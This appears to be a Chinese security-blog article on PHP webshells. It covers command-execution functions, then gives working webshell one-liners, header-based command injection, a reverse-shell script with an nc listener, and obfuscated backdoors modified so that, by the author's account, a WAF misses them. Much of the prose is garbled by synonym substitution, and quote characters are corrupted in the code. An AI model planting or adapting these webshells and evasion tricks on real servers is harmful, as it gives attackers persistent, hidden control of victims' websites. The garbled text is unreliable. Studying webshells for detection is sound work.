作者:阻圣
预估稿费:400RMB(不服你也来投稿啊!
)
投稿办法:发送邮件至linwei#360.cn,或上岸网页版在线投稿
序言
WebShell是攻击者利用的恶意脚本,它的用场紧张是在攻击后的Web运用程序上建立持久性的后门。webshell本身不能攻击或者利用远程漏洞,以是说它总是攻击的第二阶段,这个阶段我们常常称为post-exploitation。(PS:Post Exploitation是国外渗透测试标准里面的一个阶段)
WebShell常用函数
现在的Web运用程序基本上是采取PHP开拓的,以是本篇文章也紧张先容的是php环境下的WebShell。WebShell无非便是利用PHP内置的函数来实行命令,以下便是用于在php中实行shell命令的一些最常用的函数。
system()
system()函数吸收命令作为参数,并输出结果。
以下示例演示了运行dir命令,显示实行php文件目录的目录列表:
1234
<?php
system(
'dir'
);
?>
-->
1234
驱动器 C 中的卷没有标签。 卷的序列号是 7C53-7529 C:\phpstudy\WWW 的目录 2016-12-02 15:39
. 2016-12-02 15:39
.. 2016-12-02 15:38 56 hello.php 2016-12-02 15:38 29 system.php 2016-12-02 15:39
test
2 个文件 85 字节 3 个目录 871,600,128 可用字节
exec()
exec()函数吸收一个命令作为参数,当不输出结果,如果指定第二个可选参数,则结果将作为数组返回。否则,如果回显,将只显示结果的末了一行。
1234
<?php
exec
(
'dir'
)
?>
-->
我们可以利用echo来输出exec()函数的结果。可以创造只有结果的末了一行。
1234<?php
echo
exec
(
'dir'
);
?>
-->
13 个目录 871,538,688 可用字节
如果指定第二个参数,则在数组中返回结果。
12345
<?php
echo
exec
(
'dir'
,$array);
print_r($array);
?>
-->
12343 个目录 871,538,688 可用字节Array ( [0] => 驱动器 C 中的卷没有标签。 [1] => 卷的序列号是 7C53-7529 [2] => [3] => C:\phpstudy\WWW 的目录 [4] => [5] => 2016-12-02 15:52
. [6] => 2016-12-02 15:52
.. [7] => 2016-12-02 16:15 53
exec
.php [8] => 2016-12-02 15:38 56 hello.php [9] => 2016-12-02 15:46 25 system.php [10] => 2016-12-02 15:39
test
[11] => 3 个文件 134 字节 [12] => 3 个目录 871,538,688 可用字节 )
shell_exec()
shell_exec()函数类似于exec()函数,但不同的是,它会将全体结果作为字符串输出。
1234<?php
echo
shell_exec(
'dir'
);
?>
-->
1234驱动器 C 中的卷没有标签。 卷的序列号是 7C53-7529 C:\phpstudy\WWW 的目录 2016-12-02 16:26
. 2016-12-02 16:26
.. 2016-12-02 16:15 53
exec
.php 2016-12-02 15:38 56 hello.php 2016-12-02 16:27 34 shellexec.php 2016-12-02 15:46 25 system.php 2016-12-02 15:39
test
4 个文件 168 字节 3 个目录 871,460,864 可用字节
passthru()
passthru()函数实行命令并返回输出。
1234<?php
passthru(
'dir'
);
?>
-->
1234驱动器 C 中的卷没有标签。 卷的序列号是 7C53-7529 C:\phpstudy\WWW 的目录 2016-12-02 16:35
. 2016-12-02 16:35
.. 2016-12-02 16:15 53
exec
.php 2016-12-02 15:38 56 hello.php 2016-12-02 16:35 27 passthru.php 2016-12-02 16:27 34 shellexec.php 2016-12-02 15:46 25 system.php 2016-12-02 15:39
test
5 个文件 195 字节 3 个目录 871,456,768 可用字节
proc_open()
proc_open()函数实行一个命令,并且打开用来输入/输出的文件指针。
这个函数可能很难明得,大略的来说,通过利用proc_open()函数,我们可以创建一个进程用于我们的脚本和我们想要运行程序之间的通信。详见PHP文档:
http://php.net/manual/zh/function.proc-open.php
preg_replace()与/e润色符
preg_replace()函数可以实行正则表达式的搜索和更换
如果利用/e润色符,意味着利用eval实行更换,这样我们就可以通报一个要由eval()函数实行的代码
1234<?php
preg_replace(
'/./e'
,
'system(\"大众net user\"大众);'
,
''
);
?>
-->
1\\ 的用户帐户 ------------------------------------------------------------------------------- Administrator ASPNET Guest HelpAssistant SUPPORT_388945a0 命令运行完毕,但发生一个或多个缺点。
反引号
肯定很多人没有把稳到这点吧,php将反引号的内容作为shell命令实行。
1234<?php
$string=`$_GET[
id
]`;
echo
\公众<pre>$string</pre>\公众
;
?>
结果:
某WAF也没扫描到:
隐蔽WebShell-免杀之路
利用HTTP要求头
在php中,我们可以很随意马虎获取到HTTP要求头里面的某些分外字符串头,比如User-Agent。同样的事理,我也可以利用这个来传入须要实行的命令。
1<?php system($_SERVER[
'HTTP_USER_AGENT'
])?>
通过User-Agent传入命令实行:
某waf也是扫描到,当然除了User-Agent,我们还有Accept-Language等分外字符串头,这里就不做演示了,紧张的还是方法。
稠浊技能
上面的方法虽然过了waf,但是我们人工一看就知道有问题,以是我们还须要一些稠浊技能来隐蔽webshell。首先我们来认识一下几个常用功能。
eval() :把字符串作为PHP代码实行
assert() :判断一个表达式是否成立,直接传入字符串会当做 PHP 代码来实行
base64() :利用base64对数据进行编码
gzdeflate() :对数据进行Deflate压缩,gzinflate()解压缩
str_rot13() :对字符串实行 ROT13 转换
回调函数
这种办法海内我是看了phithon的先容,不过这里我肯定要先容是最新能绕waf的函数。
123456create_function()
<?php
$args =
\"大众hui\"大众
;
$code =
\"大众a;}$_POST['bar'];/\"大众
;
echo
create_function(
'$args'
,$code);
?>
这样布局可以把前面的函数体闭合,再把后面的注释掉,这样就相称于实行了。
1
eval
($_POST[bar])
利用system函数实行net user命令:
反弹shell
这里给大家先容一个php反弹shell的脚本。
下载地址:http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz
利用方法:
第一步,填写须要反弹到的IP地址和端口以及须要实行的shell命令。
123$ip =
'127.0.0.1'
;
//
IP地址
$port = 1234;
//
端口
$shell =
'net user'
;
//
须要实行的命令
然后我利用nc监听端口1234:
1
nc -
v
-n -l -p 1234
访问php文件后,查看nc监听结果,创造命令成功实行,结果反弹。
waf没有扫描到。
那些年刁悍的WebShell剖析
在Github上有个项目网络了很多的WebShell,这里我们拿出几个我认为比较刁悍的webshell剖析一下。
项目地址:https://github.com/tennc/webshell
利用404页面隐蔽PHP木马
webshell/php/404.php
这里紧张的代码如下:
1eval
(gzinflate(base64_decode($code)));
木马代码被编码压缩在$code变量中,验证密码是否精确,精确就解压实行,这里密码经由了三次md5加密。
过某waf的webshell
webshell/php/bypass-safedog-2016-08-29.php
12345
<?php
$a=md5(
'a'
).
'<br>'
;
$poc=substr($a,14,1).chr(115).chr(115).substr($a,22,1).chr(114).chr(116);
$poc($_GET[
'a'
]);
?>
利用a的md5值取出了a和e,合营chr函数,布局出assert。
利用演示:
zone_hackbar.php
webshell/php/zone_hackbar.php
123456<?php
$sF=
\公众PCT4BA6ODSE_\公众
;
$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);
$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}[
'n985de9'
];
if
(isset($s22)){
eval
($s21($s22));}
?>
这个webshell也是通过隐蔽关键字,$s21便是base64解密函数,$s22便是吸收POST数据。不过某waf对eval可是很敏感的,直接报警。
不要紧,我们修正一下就可以了,用assert,不须要base64加密了。
12345
<?php
$sF=
\"大众PCT4BA6ODSE_\公众
;
$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}[
'n985de9'
];
if
(isset($s22)){assert($s22);}
?>
这次就没有扫描到了,看看利用有没有错。
过各大杀软的pHp一句话
webshell/php/过各大杀软的pHp一句话.php
123456<?
$_uU=chr(99).chr(104).chr(114);
$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);
$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);
$_=$_fF(
\"大众\"大众
,$_cC);@$_();
?>
看起来没什么,实在便是先布局了chr这个字符串,然后利用chr函数分别布局了eval($_POST[1]);和create_function。
末了便是实行:
1create_function(
\"大众\公众
,
eval
($_POST[1]););
不过现在某waf对chr可是很敏感滴。立马被拦截了。
最新过某waf一句话
这个是我在互联网上瞥见的,实在和回调函数差不多,拿来剖析一下吧。
123456789<?php
error_reporting(0);
$b=
\"大众zxczxczxczxczxcxzczx\"大众
;
function
yuag_array($b,$c){
$b=strrev($b);
array_map(substr_replace($b,
'ss'
, 1, 0),array($c));
}
yuag_array(
\公众trea\公众
,$_POST[
'yuag'
]);
?>
先是布局了一个函数yuag_array,然后传入了两个参数,经由反转和更换字符串布局出assert。
这样末了实行的便是:
1array_map(assert,array($_POST[
'yuag'
]));
这里就不再做详细先容了。
参考文章
http://www.acunetix.com/blog/articles/web-shells-101-using-php-introduction-web-shells-part-2/
https://www.t00ls.net/viewthread.php?tid=20774
https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html